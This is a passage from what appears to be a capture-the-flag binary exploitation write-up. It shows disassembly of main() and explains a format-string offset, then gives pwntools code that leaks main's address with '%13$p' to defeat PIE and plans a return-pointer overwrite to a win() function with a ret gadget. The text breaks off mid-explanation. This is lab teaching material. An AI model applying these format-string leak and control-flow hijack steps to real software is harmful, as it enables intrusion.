[0x5614be16a2ba]> afi. @ 0x00005614be16a2ba
main
[0x5614be16a2ba]> pdf @ main
┌ 25: int main (int argc, char **argv, char **envp);
│ 0x5614be16a2a8 f30f1efa endbr64
│ 0x5614be16a2ac 55 push rbp
│ 0x5614be16a2ad 4889e5 mov rbp, rsp
│ 0x5614be16a2b0 b800000000 mov eax, 0
This is our return pointer to main()! We can choose to leak this value and then overwrite it later. Our offset for the format string is going to be 13.
Uh, why?
In 64-bit, there are 6 registers. The first is reserved for the format string so we don't count that one. This makes our offset 8+6-1=13.
Now we have what we need. We can leak the address of main() + 18 and then overwrite the return pointer with the address of win().
p.sendline(b'%13$p')p.recvuntil(b'Nice to meet you ')leak =int(p.recvline().strip(), 16)elf.address = leak - (elf.sym.main +18)
We also need a way to beat the movaps instruction. Because PIE is enabled, we can't hardcode gadgets. This means we have to find what function they're in, their offset, and then use that for our gadget. In this case, we can pull any ret, I tend to use deregister_tm_clones() because I know it's not problematic. We find our ret instruction: